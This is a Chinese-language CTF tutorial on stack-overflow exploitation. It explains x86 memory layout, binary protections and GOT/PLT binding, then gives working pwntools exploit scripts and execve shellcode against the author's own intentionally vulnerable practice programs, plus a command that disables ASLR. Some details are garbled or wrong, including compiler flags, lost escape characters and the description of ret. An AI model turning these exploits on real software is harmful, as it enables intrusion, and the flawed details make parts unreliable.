PWN入門系列(四):棧終結篇
0x0 PWN入門系列文章列表
0x1 前言
在群里看到了一些表哥在討論一個基礎的PWN棧溢出題目, 雖然自己忙着備考,但是一不小心忍不住覺得很簡單然后熬了一晚沒有結果,最后才發現自己在學習pwn的過程中忽略了很多基礎知識的學習和鞏固,學習PWN必須要有扎實的基礎, 多看一些書籍<<x86匯編語言-從實模式到保護模式>>、<<程序員的自我修養>>,比如晚上睡覺前偷偷看一點(暗地里學習……….)
0x2 環境說明
調試環境: docker 集成環境
# 備份每一次的環境,防止丟失 docker commit -p a974e95a1 mypwn-backup docker save -o mypwn.tar mypwn-backup # 通過加載備份的鏡像還原PWN調試環境 docker load -i mypwn.tar
系統類型:
root@mypwn:/ctf/work# lsb_release -d
Description: Ubuntu 18.04.2 LTS
0x3 淺析x86內存管理架構
0x3.1 實模式 、保護模式
x86 兩種基本工作運行方式: 實模式 、保護模式
一般我們划分內存單元都是字單元,占8位,
32位程序則說明占用4個字單元,按照4字節來對齊讀取。
64位則占用8個字內存單元,按照8字節來對齊再一次性讀取8字節來處理。
CPU工作模式是指: cpu的尋址方式、寄存器大小等用來反應CPU的工作流程的概念。
- 1.實模式
CPU加電並經歷最初的混沌狀態后,首先進入的就是實模式,是早期8086處理器工作的模式。在該模式下,邏輯地址轉換后即為物理地址。
為什么需要這個模式呢,其實我覺得還是硬件決定的。
當時8088CPU有20位地址線,地址空間就是2^20byte = 1MB 大小
那么如何去選擇這些地址空間就有了硬件上的難題了。
一般來說譯碼器都是3-8 4-16這種組合
寄存器2的倍數,沒有20位的寄存器怎么辦呢?
譯碼器我們學過兩塊3-8 轉為4-16,那么我們就能考慮兩塊16寄存器搞個20位寄存器啦。
8088CPU共有8個16位通用寄存器,4個16位段寄存器
段寄存器:
- cs(code segement):代碼段寄存器
- ds(data segement):數據段寄存器
- ss(stack segement):堆棧段寄存器
- es(extra segement):附加段寄存器
- fs(flag segment):標志段寄存器
- gs(global segement):全局段寄存器
段寄存器決定段基址
通用寄存器決定段內偏移量
物理地址 = 段基址<<4 + 段內偏移量
舉個例子:
段基址是16位:0xff00然后左移4位(4位二進制表示1個16進制)就變成了 0xff000,這樣不就是20位地址了嗎?
0xff110 = 0xff00<<4 + 0x0110
- 2.保護模式
操作系統運行最常見的模式,顧名思義比實模式多了保護措施,但是為了實現兼容,尋址方式沒太大改變。
32位系統能跑4GB, 64位系統能跑128G,再高的內存就要換系統了。
保護模式增加了個全局描述符表(GDT)結構,段寄存器不再存放段基址,而是存放這個GDT的索引。
GDT是在進入保護模式時必須要先定義好。
GDT的每一個表項都是一個段描述符只能定義一個內存短。特權值就存儲在段寄存器的低2位: 2^2=4 對應 0、1、2、3
linux一般只有內核態和用戶態,也就是兩種特權值。
0x3.2 地址的概念
物理地址空間: 硬件層面的線路分布
線性地址空間(虛擬地址空間): 線性地址空間對應映射到物理地址空間,線性地址就是作為索引的存在。
地址: 邏輯地址、線性地址、物理地址
邏輯地址: 段寄存器+段內偏移量組成,常見的地址指針*p存放的就是偏移量。
線性地址(虛擬地址):邏輯地址進行分段轉換比如左移4位再相加偏移得到。
物理地址:
作用於物理層面,是物理地址空間的索引
- 啟動分段機制,未啟動分頁機制:邏輯地址—> (分段地址轉換) —>線性地址—->物理地址
- 啟動分段和分頁機制:邏輯地址—> (分段地址轉換) —>線性地址—>分頁地址轉換) —>物理地址
0x3.3 內存管理機制
內存管理機制: 1.分段機制 2.分頁機制 3.段頁機制
分段機制(必須開啟的)
分段機制主要是解決”地址總線寬度一般大於寄存器寬度”這個問題。
優點:適合處理復雜系統
分頁機制(可選開啟):
一般的頁空間是4k,也就是2^12,也就是12位對應4個16進制數,這個后面PIE會再次涉及,頁內的空間是連續存儲的。
分頁機制將程序划分為多個頁,按需來調入內存,能有效提高內存的利用率。
段頁機制:
其實就是在不同的段里面引入頁機制。
優點: 分頁、分段的優點
缺點: 多次重復查表
更多詳細內容: CPU的實模式和保護模式(一)
0x4 PWN保護說明
我們經常第一步是查保護:
root@mypwn:/ctf/work/MiniPWN# checksec vuln5
[*] '/ctf/work/MiniPWN/vuln5'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
(1)Arch:
- 說明程序的架構是x86架構-32位程序-小段字節序號
(2)RELRO:
- 設置符號重定向表格為只讀或在程序啟動時就解析所有動態符號,從而減少對GOT表的攻擊。
- 編譯選項: 關閉
-z morello
開啟(部分)-z lazy
開啟(完全)-z now
(3)Stack:
- 棧溢出保護
- 編譯選項: 關閉
-fno-stack-protector
啟用-fstack-protector-all
(4) NX
- 堆棧不可執行,也就是不能在棧上執行shellcode,window下類似DEP(數據執行保護)
- 編譯選項: 關閉
-z execstack
開啟-z noexecstack
(5)PIE
- 內存地址全隨機化(Linux下pie開啟必須同時開啟aslr)
- 編譯選項: 關閉
-no-pie
開啟-pie -fPIC
(默認開啟)
(6)RWX
- BSS段可讀寫執行
全保護關閉編譯命令:
生成32位程序: -m32
生成64位程序: -m64
gcc -g -fno-stack-protector -z execstack -no-pie -z norelro -m32 -o vuln 1.c
更多內容推薦參考:checksec及其包含的保護機制
0x5 淺析Linux下PIE、ASLR與libc的那些事
0x5.1 PIE機理分析
如果對PIE不了解的話,就很容易搞混PIE與地址基址的關系,筆者在做題的時候就經常遇到這些錯誤。
Linux 下的PIE與ASLR
PIE(position-independent execute),地址無關可執行文件,是在編譯時將程序編譯為位置無關,主要負責的是代碼段和數據段(.data段 .bss段)的地址隨機化工作.
ASLR則主要負責其他內存的地址隨機化。
PIE如何作用於ELF可執行文件
ELF程序運行的時候是cpu在硬盤上調入加載進內存的,這個時候程序就有了內存地址空間。
ELF的文件結構:
ELF file format:
+---------------+
| File header | # 文件頭保存每個段類型和長度
+---------------+
| .text section | # 代碼段 存放代碼和指令
+---------------+
| .data section | # 數據段
+---------------+
| .bss section | # bss段 存放未初始化的全局變量和靜態變量,一般可讀寫
+---------------+ # 是存放shellcode的好地方。
| ... |
+---------------+
| xxx section |# 還有字符串段、符號表段行號表段等
+---------------+
# 局部變量和函數參數分別在棧中分配(棧和堆分別在內存中分配,在elf文件中不存在對應的部分)
備忘錄:
查看每個段的分布命令
readelf -S vuln5
elf中常見的段有如下幾種:
代碼段 text 存放函數指令
數據段 data 存放已初始化的全局變量和靜態變量,
只讀數據段 rodata 存放只讀常量或const關鍵字標識的全局變量
bss段 bss 存放未初始化的全局變量和靜態變量,這些變量由於為初始化,所以沒有必要在elf中為其分配空間。bss段的長度總為0。
調試信息段 debug 存放調試信息
行號表 line 存放編譯器代碼行號和指令的duiing關系
字符串表 strtab 存儲elf中存儲的各種字符串
符號表 symtab elf中到處的符號,
當把ELF文件加載到內存的時候,各種段就會被裝載在內存地址空間中,形成程序自己的內存空間布局。
查看各個段的加載內存布局命令:
objdump -h vuln5
+------------------------+ Oxffffffff
| kernel space |
+------------------------+ 0xC0000000
| stack |
+------------------------+
| |
| unused |
| |
+------------------------+
| dynamic libraries |
+------------------------+ 0x40000000
| |
| unused |
| |
+------------------------+
| heap | # 堆 動態內存分配的空間 進程調用
+------------------------+ # malloc、free等函數時變化
| read/write sections |
| (.data .bss) |
+------------------------+
| read only sections |
| (.init .rodata .text) |
+------------------------+ 0x08048000
| reserved |
+------------------------+
前面我們可以知道程序加載內存的時候不是一次性加載的,而是分頁按需加載的,這個時候PIE只能作用於單個內存頁,也就是說頁內存里面的地址不會被隨機化,一般來說頁內存的大小是4k,剛好對應了12位,對應16進制的后3位,這就是PIE的一部分缺陷,由此也可以衍生一些相關的攻擊點。
這也是ida里面看開了PIE的程序,代碼段就只顯示后3位的原因。
ps.這里還有個約定俗成的特點:
64位程序pie是以7f開頭, 32位程序pie則是以f7開頭。
root@mypwn:/ctf/work/MiniPWN# ldd vuln64
linux-vdso.so.1 (0x00007ffe65386000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8e2d466000)
/lib64/ld-linux-x86-64.so.2 (0x00007f8e2d857000)
root@mypwn:/ctf/work/MiniPWN# ldd vuln5
linux-gate.so.1 (0xf76ed000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7504000)
/lib/ld-linux.so.2 (0xf76ee000)
0x5.2 PIE與ASLR的關系
Linux的ASLR + PIE 作用 == window下ASLR的作用
Linux的ASLR共有3個級別0、1、2
0: 關閉ASLR,沒有隨機化,堆棧基地址每次都相同,libc加載地址也相同
1: 普通ASLR mmap、棧基地址、libc加載隨機化,但是堆沒有隨機化
2.增強ASLR,增加堆隨機化
PIE開啟的時候,ASLR必須開啟,所以說PIE可以間接認為具有ASLR的功能。
LInux下默認開啟ASLR等級且為2
cat /proc/sys/kernel/randomize_va_space
echo 0 >/proc/sys/kernel/randomize_va_space
0x5.3 libc基地址的獲取方式
由於Linux默認開啟了ASLR,所以就算你開不開PIE,每次加載的時候libc地址都是會變化的(原因往上翻)
[*] '/ctf/work/MiniPWN/vuln5'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
root@mypwn:/ctf/work/MiniPWN# ldd vuln5
linux-gate.so.1 (0xf76f4000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf750b000)
/lib/ld-linux.so.2 (0xf76f5000)
root@mypwn:/ctf/work/MiniPWN# ldd vuln5
linux-gate.so.1 (0xf7794000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf75ab000)
/lib/ld-linux.so.2 (0xf7795000)
可以看到每次運行的時候libc基地址都是變化的。
那么我們如何獲取到Libc基地址,那么就只能通過運行中的程序泄漏,
或者gdb獲取libc基地址修改程序流來達到目的了。
0x5.4 淺析Linux下程序裝載SO共享庫機制
剛開始學PWN的時候,學習到retlibc,其實還不是很理解一些got表,plt表的東西,也就只是按照大家的payload來使用了,下面讓我們深入淺出來學習一番程序是如何調用libc里面的函數的。
關於這類型的文章google一大堆,這里我簡要談下一些關鍵的知識點。
libc.so 是什么?
libc.so 是linux下C語言庫中的運行庫glibc的動態鏈接版, 其中包含了大量可利用的函數。
什么是動態鏈接(Dynamic linking)?
動態鏈接是指在程序裝載的時通過動態鏈接器將程序所需的所有動態鏈接庫(so等)裝載至進程空間中。當程序運行時才將他們鏈接在一起形成一個完整的程序,這樣就比靜態鏈接節約內存和磁盤空間,而且具有更高的擴展性。
動態鏈接庫: Linux系統中ELF動態鏈接文件被稱為動態分享對象(Dynamic Shared Objects),也就是共享對象,一般以’.so’擴展名結尾,libc.so就是其中一個例子。window則是’.dll’之類的。
Linux編譯共享文件命令:
gcc got_extern.c -fPIC -shared -m32 -o my.so
-fPIC 選項是生成地址無關代碼的代碼,gcc 中還有另一個 -fpic 選項,差別是fPIC產生的代碼較大但是跨平台性較強而fpic產生的代碼較小,且生成速度更快但是在不同平台中會有限制。一般會采用fPIC選項
地址無關代碼的思想就是將指令分離出來放在數據部分。
-shared 選項是生成共享對象文件
-m32 選項是編譯成32位程序
-o 選項是定義輸出文件的名稱
什么是延遲綁定(Lazy Binding)?
因為如果程序一開始就將共享庫所有函數都進行鏈接會浪費很多資源,因此采用了延遲綁定技術,函數需要用到的時候進行綁定,否則不綁定。
那么怎么實現綁定,用動態鏈接器,綁定什么呢,修改got表,怎么來延遲呢,利用plt表當作一個擺設然后重定位指向GOT表中真實的地址。
首先我們了解下什么是got表、什么是plt表,什么是動態鏈接器,以及三者的關系。
- GOT(Global offset Table) 全局偏移表
存放函數真實的地址,能被動態鏈接器實時修改
GOT表被ELF拆分為.got 和 .got.plt表,其中.got
表用來保存全局變量引用的地址,.got.plt
用來保存函數引用的地址,外部函數的引用全部放在.got.plt中,我們主要研究也就是這部分。
先記住got表,第一項是.dynamic
,第二項是link_map
地址,第三項是_dl_runtime_resolve()
,真正的外部函數地址是從第4項開始的也就是got[3]開始。
關於got表結構這部分,后面在高級ROP部分我會展開講解。
- PLT(Procedure Link Table ) 程序連接表
表項都是一小段代碼,一一對應對應於got表中的函數。
Dump of assembler code for function puts@plt: 0x080482e0 <+0>: jmp DWORD PTR ds:0x804a00c 0x080482e6 <+6>: push 0x0 0x080482eb <+11>: jmp 0x80482d0 End of assembler dump.
- 程序加載plt的時候,會分為兩種狀態:
- 初始化的時候
plt中jmp跳轉的got表取得的地址其實是plt的下一條指令, 0x080482e6
然后在繼續往下執行到動態鏈接器函數_dl_runtime_resolve
,把got表中函數重定向為libc中真實的地址。
- 二次加載的時候
plt指向的直接got表表項的地址就是第一次重定向的真實地址。
兩者的對應關系如下:
該內容更細可以參考: PWN之ELF解析
驗證想法,我們可以手工進行調試一次
首先我們編譯一個簡單的程序2.c:
gcc -g -no-pie -m32 -o test 2.c
#include <stdio.h> int main(){ puts("hello"); puts("hello2"); return 0; }
然后gdb -r test
加載,disassemble main
反編譯main函數
初始化的時候:
這里就對got表進行了重定位修改為了真實地址。
二次加載的時候:
因為之前got表已經解析了puts的真實地址了,所以就直接指向了。
關於此部分比較細的調試過程參考文章:
PWN菜雞入門之棧溢出 (2)—— ret2libc與動態鏈接庫的關系
這部分更多詳細的內容推薦閱讀<<程序員的自我修養7.4節>>
0x6 Linux shellcode編寫指南
關於shellcode的編寫,網上也比較多了,這里簡要介紹下一些原理和變形,如何工具實現自定義shellcode之類的內容。
最普通的shellcode:
大小端轉換轉換腳本
>>> "".join(list('//bin/sh')[::-1]).encode('hex') '68732f6e69622f2f'
xor eax,eax
push eax
push 0x68732f6e
push 0x69622f2f ;//bin/sh
mov ebx,esp ;ebx為execve參數1
push eax ;eax 為參數
mov edx,esp ;edx賦值給edx
push ebx
mov al,0x0b ;execve 系統號
int 0x80 ;觸發系統中斷,cpu切換到內核模式,執行系統調用
利用 pwntools,小白可以快速獲取到shellcode
pwntools官方文檔:
https://pwntools.readthedocs.io/en/stable/shellcraft.html
# shellcode1 print(shellcraft.i386.linux.sh())
限制了執行命令,可以采用一些原生的文件讀取,然后進行輸出,這主要是考察匯編的編程能力。
print(shellcraft.i386.linux.readfile('/flag'))
我們就可以在工具的基礎上,自己進行相應的改動了。
傳輸的時候是tcp流,所以我們發送的時候,要記得使用asm
函數對shellcode進行編碼
這部分內容更細可以參考:
0x7 前置題目基礎知識
坑點:
1.scanf與gets區別
我們平時遇的比較多應該都是gets,scanf很少用,所以很容易出現一些奇 怪的問題
scanf 遇到緩沖區的空字符就會發生截斷然后末尾s加上
gets 則是遇到回車才截斷然后加上
空字符: 空格 回車 制表 換行 空字符
空字符 | 轉義字符 | 意義 | ASCII值 |
---|---|---|---|
空格 | decimal:32 0x20 | ||
回車 | r | decimal:013 0x0d | |
水平制表符 | t | 水平制表(HT) (跳到下一個TAB位置) | decimal: 009 0x09 |
垂直制表符 | v | decimal: 011 0x0b | |
換行 | n | decimal: 010 0x0a | |
空字符 | decimal:000 0x00 |
0x8 一道題總結PWN的棧利用方式
0x8.1 part1 題目源碼
這個是我自己總結出的漏洞百出題目,很方便讀者對照來學習各種棧溢出攻擊技巧。
#include <stdio.h> #include <string.h> //gcc -g -fno-stack-protector -z execstack -no-pie -z norelro -m32 -o vuln 1.c char c[50]; void SayHello() { char tmpName[10]; char name[1024]; puts("hello"); scanf("%s", name); strcpy(tmpName, name); } void test(){ system("cat /flag"); } void fun(char a[]){ printf("%s", a); printf("/bin/sh"); } void bad(){ gets(&c); puts(c); } int main(int argc, char** argv) { SayHello(); return 0; }
編譯方式:
這里的保護都沒開,后面的一些技巧是可以避開保護的。
gcc -g -fno-stack-protector -z execstack -no-pie -z norelro -m32 -o vuln8 1.c
0x8.2 part2 問題分析
很明顯這道題目是個經典的雙棧溢出,分別是scanf和strcpy這兩個危險函數沒有限制輸入,這里我主要從strcpy
溢出點出發,談談各種獲取shell的方法,以及小白很容易出現的問題。
IDA載入分析:
0x8.3 常見做法
0x8.3.1 直接替換返回地址為后門函數
這個比較簡單直接給出exp,很明顯test函數就是個后門函數。
條件:沒開PIE,地址可以直接確定,學習pwntool的 ELF模塊搜索功能。
#!/usr/bin/python # -*- coding:utf-8 -*- from pwn import * context.log_level = 'debug' context(arch='i386', os='linux') # 設置tmux程序 context.terminal = ['/usr/bin/tmux', 'splitw', '-h'] # program module io = process('./vuln8') elf = ELF('./vuln8') lib = ELF("/lib/i386-linux-gnu/libc.so.6") # backdoor 直接搜索后門函數地址 vulndoor = elf.symbols['test'] log.success("vulndoor:" + str(hex(vulndoor))) payload = 'A'*0x16 + p32(vulndoor) io.sendlineafter('hello', payload) io.interactive()
0x8.3.2 程序自帶system函數
0x8.3.2.1 程序自有/bin/sh字符串
這個題目依然是學習elf的search搜索字符串功能。
exp.py
#!/usr/bin/python # -*- coding:utf-8 -*- from pwn import * context.log_level = 'debug' context(arch='i386', os='linux') # 設置tmux程序 context.terminal = ['/usr/bin/tmux', 'splitw', '-h'] # program module io = process('./vuln8') elf = ELF('./vuln8') lib = ELF("/lib/i386-linux-gnu/libc.so.6") # system backdoor vulndoor = elf.symbols['system'] # system argv /bin/sh binsh = elf.search("/bin/sh").next() log.success("vulndoor:" + str(hex(vulndoor))) log.success("/bin/sh: " + str(hex(binsh))) # 這個是函數返回的地址,這里沒什么用 retAddress = p32(0xdeadbeef) payload = 'A'*0x16 + p32(vulndoor) + retAddress + p32(binsh) io.sendlineafter('hello', payload) io.interactive()
0x8.3.2.2 構造/bin/sh寫入到bss段
為了方便學習我這里改動了一下主程序:
#include <stdio.h> #include <string.h> //gcc -g -fno-stack-protector -z execstack -no-pie -z norelro -m32 -o vuln 1.c char c[50]; void SayHello() { char tmpName[10]; char name[1024]; puts("hello"); scanf("%s", name); strcpy(tmpName, name); } void test(){ system("cat /flag"); } void fun(char a[]){ printf("%s", a); printf("/bin/sh"); } void bad(){ char a[10]; puts("start bad"); gets(c); puts(c); gets(a); } int main(int argc, char** argv) { // SayHello(); bad(); return 0; }
通過這個練習,我們可以加深對bss的段理解,其地址是固定的,可以存放字符串。
exp.py
#!/usr/bin/python # -*- coding:utf-8 -*- from pwn import * context.log_level = 'debug' context(arch='i386', os='linux') # 設置tmux程序 context.terminal = ['/usr/bin/tmux', 'splitw', '-h'] # program module io = process('./vuln9') elf = ELF('./vuln9') lib = ELF("/lib/i386-linux-gnu/libc.so.6") # rop1 把/bin/sh寫入到bss段 rop1 = elf.symbols['bad'] # rop2 再次執行漏洞函數 rop2 = elf.symbols['SayHello'] gdb.attach(io, 'b *0x08048664') pause() # system backdoor system = elf.symbols['system'] binsh = '/bin/shx00' io.sendlineafter('start bad', binsh) retAddress = p32(0xdeadbeef) payload = 'A'*0x16 + p32(system) + retAddress +p32(0x08049A80) io.sendlineafter('sh', payload) io.interactive()
0x8.4 bss段寫入shellcode
;這個知識點主要是用於繞過開啟了nx保護的時候,棧不可執行的特點。
這里我們依然采用上面改動的程序來測試。
#!/usr/bin/python # -*- coding:utf-8 -*- from pwn import * context.log_level = 'debug' context(arch='i386', os='linux') # 設置tmux程序 context.terminal = ['/usr/bin/tmux', 'splitw', '-h'] # program module io = process('./vuln9') elf = ELF('./vuln9') lib = ELF("/lib/i386-linux-gnu/libc.so.6") # rop1 把/bin/sh寫入到bss段 rop1 = elf.symbols['bad'] # rop2 再次執行漏洞函數 rop2 = elf.symbols['SayHello'] # bss 變量地址,可以通過查看ida的bss段來查看。 bss = p32(0x08049A80) io.sendlineafter('start bad', asm(shellcraft.sh())) retAddress = p32(0xdeadbeef) payload = 'A'*0x16 + bss io.sendlineafter('n', payload) io.interactive()
0x8.5 棧段寫入shellcode
我們依然簡化下代碼,然后重新編譯一下
#include <stdio.h> #include <string.h> //gcc -g -fno-stack-protector -z execstack -no-pie -z norelro -m32 -o vuln 1.c char c[50]; void bad(){ char a[10]; puts("start bad"); gets(a); } int main(int argc, char** argv) { // SayHello(); bad(); __asm__("jmp %esp;"); return 0; }
通過這個題目,我們可以學習一下簡單ROP思想,看下程序是怎么通過jmp esp
這樣一個片段,從ret->jmp esp->shellcode
的流程。
exp.py
#!/usr/bin/python # -*- coding:utf-8 -*- from pwn import * context.log_level = 'debug' context(arch='i386', os='linux') # 設置tmux程序 context.terminal = ['/usr/bin/tmux', 'splitw', '-h'] # program module io = process('./vuln1') elf = ELF('./vuln1') lib = ELF("/lib/i386-linux-gnu/libc.so.6") gdb.attach(io, 'b *0x08048664') pause() # 搜索程序的jmp esp片段 jmpEsp = elf.search(asm('jmp esp')).next() log.success("jmpEsp: " + str(hex(jmpEsp))) payload = 'A'*0x16 + p32(jmpEsp) + asm(shellcraft.sh()) io.sendlineafter('start bad', payload) io.interactive()
這里可以分析下為啥是這樣構造的:
道理非常簡單
程序執行ret
的時候,這個時候esp是不是指向p32(jmpEsp)
,
ret 等價於 pop eip;jmp ebp+4
pop eip就是把棧頂元素賦值給eip,然后跳轉,pop執行完之后,esp+1,這個時候就是我們的shellcode地址啦。
所以上面的布置公式就是
payload = 'A'*0x16 + p32(jmpEsp) + asm(shellcraft.sh())
0x8.6 RetLibc系列
這部分,我們采用的是這個代碼,其中坑點非常多,初學者極易錯的不知其解。
這部分也是我想着重來講的一部分。
下面看我分析,這里我們選擇開啟PIE,(開不開也沒啥區別, libc地址都是隨機化的,必須通過運行程序來泄漏。)
#include <stdio.h> #include <string.h> //gcc -g -fno-stack-protector -z execstack -no-pie -z norelro -m32 -o vuln 1.c void SayHello() { char tmpName[10]; char name[1024]; puts("hello"); scanf("%1024s", name); strcpy(tmpName, name); } int main(int argc, char** argv) { SayHello(); return 0; }
編譯的時候保護全關:
gcc -g -fno-stack-protector -z execstack -no-pie -z norelro -m32 -o vuln6 1.c
0x8.6.1 經典ROP利用
利用libc的話,我們首先要想辦法泄漏libc的基地址,這一步也是非常經典,因為程序里面有puts函數,我們可以利用棧溢出來double jmp,泄漏出libc的地址之后再重新回到漏洞函數來執行。
__libc_start_main
這個函數是先於main
函數加載的,所以程序的got表保存的就是其libc的真實地址。
這里我們有兩種方法獲取到該函數的相對libc偏移:
- 1.手工計算
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep '__libc_start_main'
這里的libc
10: 00000000 0 FUNC GLOBAL DEFAULT UND ___tls_get_addr@GLIBC_2.3 (42)
- 就是以 00000000 作為基地址的
- 2.利用pwntools,看我下面的exp
exp.py
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * context.log_level = 'debug' context(arch='i386', os='linux') # 設置tmux程序 context.terminal = ['/usr/bin/tmux', 'splitw', '-h'] # program module io = process('./vuln6') elf = ELF('./vuln6') lib = ELF("/lib/i386-linux-gnu/libc.so.6") # vuln address SayHello = elf.symbols['SayHello'] # 程序的got表地址 libc_start_main_got = elf.got['__libc_start_main'] # 方法2利用pwntool的ELF模塊之間獲取 lib_start_main = lib.symbols['__libc_start_main'] log.success("SayHello:" + str(hex(SayHello))) # 這里開始調試 gdb.attach(io,'b *0x08048486') pause() # 利用棧溢出調用puts函數泄漏got表地址 payload1 = 'A'*0x16 + p32(elf.plt['puts']) + p32(SayHello) + p32(libc_start_main_got) # payload1 = 'A'*0x16 + 'B'*4 # 格式化字符串可以利用棧上的殘留來獲取 io.sendlineafter('hell', payload1) # 有時候沒辦法獲取的時候加多一個,因為可能有一些垃圾數據 print("start") print(io.recvuntil('n')) print("end") lib_main = u32(io.recvline()[0:4]) libc_base = lib_main - lib_start_main log.success("libc_base:" + str(hex(libc_base))) # 經典retlibc利用公式 retAddress = p32(0xdeadbeef) system = libc_base + lib.symbols['system'] binsh = libc_base + lib.search("/bin/sh").next() payload2 = 'A'*0x16 + p32(system) + retAddress + p32(binsh) io.sendlineafter('hello', payload2) io.interactive()
很熟悉的利用公式:payload2 = 'A'*0x16 + p32(system) + retAddress + p32(binsh)
但是這里是沒辦法成功,前面我們已經說過了,scanf和strcpy遇到x00是會截斷的
很明顯我們的system函數00地址結尾的,所以根本沒辦法傳進去。
要么我們來jmp esp
然后寫shellcode?
jmpesp = libc_base = lib.search(asm('jmp esp')).next() payload2 = 'A'*0x16 + p32(jmpesp) + asm(shellcraft.sh()) io.sendlineafter('hello', payload2)
很遺憾告訴你這樣也是不行了, 首先0b
是execve的系統調用號,但是他同時表示的是制表符,會被scanf截斷,導致不能寫入棧中,導致失敗。
那么是不是沒有辦法了? 下面介紹一些我對截斷繞過的技巧
0x8.6.2 解決空白字符截斷的技巧
0x8.6.2.0 采用execve函數
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep 'execve
可以看到是b0
結尾ok,那么我們只要找一些gadget補全參數即可。
ROPgadget --binary /lib/i386-linux-gnu/libc.so.6 --depth 30 --only 'pop|ret'|grep "eax"
execve與system的層面都不一樣,一個是內核層一個是用戶層。
不過參數好像沒辦法控制,賦值為0的話就會斷掉,這個方法希望有師傅能告訴我可行性怎么樣(ps.好像網上沒什么涉及到這個)
0x8.6.2.1 system函數變形
gdb查看寄存器的地址:
p $esp
修改寄存器的值:
set $esp=0x
查看匯編:
telescope 8 $esp
我們之間修改地址為lib.symbols['system'] + 3
,這樣子就可以繞過了。
然后布置好棧讓函數不要出錯就行了
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * context.log_level = 'debug' context(arch='i386', os='linux') # 設置tmux程序 context.terminal = ['/usr/bin/tmux', 'splitw', '-h'] # program module io = process('./vuln6') elf = ELF('./vuln6') lib = ELF("/lib/i386-linux-gnu/libc.so.6") # vuln address SayHello = elf.symbols['SayHello'] # 程序的got表地址 libc_start_main_got = elf.got['__libc_start_main'] # 方法2利用pwntool的ELF模塊之間獲取 lib_start_main = lib.symbols['__libc_start_main'] start = 0x8048370 # system的地址 log.success("SayHello:" + str(hex(SayHello))) log.success("system:" + str(hex(lib.symbols['system']))) # 這里開始調試 gdb.attach(io,'b *0x08048486') pause() # 利用棧溢出調用puts函數泄漏got表地址 payload1 = 'A'*0x16 + p32(elf.plt['puts']) + p32(SayHello) + p32(libc_start_main_got) # payload1 = 'A'*0x16 + 'B'*4 # 格式化字符串可以利用棧上的殘留來獲取 io.sendlineafter('hell', payload1) # 有時候沒辦法獲取的時候加多一個,因為可能有一些垃圾數據 print("start") print(io.recvuntil('n')) print("end") lib_main = u32(io.recvline()[0:4]) libc_base = lib_main - lib_start_main log.success("libc_base:" + str(hex(libc_base))) # 經典retlibc利用公式 retAddress = p32(0xdeadbeef) system = libc_base + lib.symbols['system'] + 3 # gets = libc_base + lib.symbols['gets'] binsh = libc_base + lib.search("/bin/sh").next() # oneShell = libc_base + 0x67a7f payload2 = 'A'*0x16 + p32(system) + p32(start) + p32(binsh)*10 io.sendlineafter('hello', payload2) io.interactive()
0x8.6.2.2 shellcode變形繞過
這里沒開nx保護,修改下shellcode去除0xb符號即可
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * context.log_level = 'debug' context(arch='i386', os='linux') # 設置tmux程序 context.terminal = ['/usr/bin/tmux', 'splitw', '-h'] # program module io = process('./vuln6') elf = ELF('./vuln6') lib = ELF("/lib/i386-linux-gnu/libc.so.6") # vuln address SayHello = elf.symbols['SayHello'] # 程序的got表地址 libc_start_main_got = elf.got['__libc_start_main'] # 方法2利用pwntool的ELF模塊之間獲取 lib_start_main = lib.symbols['__libc_start_main'] log.success("SayHello:" + str(hex(SayHello))) # 這里開始調試 gdb.attach(io,'b *0x08048486') pause() # 利用棧溢出調用puts函數泄漏got表地址 payload1 = 'A'*0x16 + p32(elf.plt['puts']) + p32(SayHello) + p32(libc_start_main_got) # payload1 = 'A'*0x16 + 'B'*4 # 格式化字符串可以利用棧上的殘留來獲取 io.sendlineafter('hell', payload1) # 有時候沒辦法獲取的時候加多一個,因為可能有一些垃圾數據 print("start") print(io.recvuntil('n')) print("end") lib_main = u32(io.recvline()[0:4]) libc_base = lib_main - lib_start_main log.success("libc_base:" + str(hex(libc_base))) # 經典retlibc利用公式 retAddress = p32(0xdeadbeef) gets = libc_base + lib.symbols['gets'] # binsh = libc_base + lib.search("/bin/sh").next() payload = ''' xor eax,eax xor ecx, ecx push eax push 0x68732f6e push 0x69622f2f mov ebx,esp push eax mov edx,esp push ebx mov al,0x11 dec al dec al dec al dec al dec al dec al int 0x80 ''' jmpesp = libc_base + lib.search(asm('jmp esp')).next() payload2 = 'A'*0x16 + p32(jmpesp) + asm(payload) io.sendlineafter('hello', payload2) io.interactive()
0x8.6.2.3 Onegadget技術
我們在libc下尋找下Onegadget
利用:one_gadget
工具
one_gadget /lib/i386-linux-gnu/libc.so.6
root@mypwn:/ctf/work/MiniPWN/article# one_gadget /lib/i386-linux-gnu/libc.so.6
0x3d0d3 execve("/bin/sh", esp+0x34, environ)
constraints:
esi is the GOT address of libc
[esp+0x34] == NULL
0x3d0d5 execve("/bin/sh", esp+0x38, environ)
constraints:
esi is the GOT address of libc
[esp+0x38] == NULL
0x3d0d9 execve("/bin/sh", esp+0x3c, environ)
constraints:
esi is the GOT address of libc
[esp+0x3c] == NULL
0x3d0e0 execve("/bin/sh", esp+0x40, environ)
constraints:
esi is the GOT address of libc
[esp+0x40] == NULL
0x67a7f execl("/bin/sh", eax)
constraints:
esi is the GOT address of libc
eax == NULL
0x67a80 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL
0x137e5e execl("/bin/sh", eax)
constraints:
ebx is the GOT address of libc
eax == NULL
0x137e5f execl("/bin/sh", [esp])
constraints:
ebx is the GOT address of libc
[esp] == NULL
我們挑選一些條件比較容易滿足的,0x67a7f 這個條件是滿足的。
exp.py
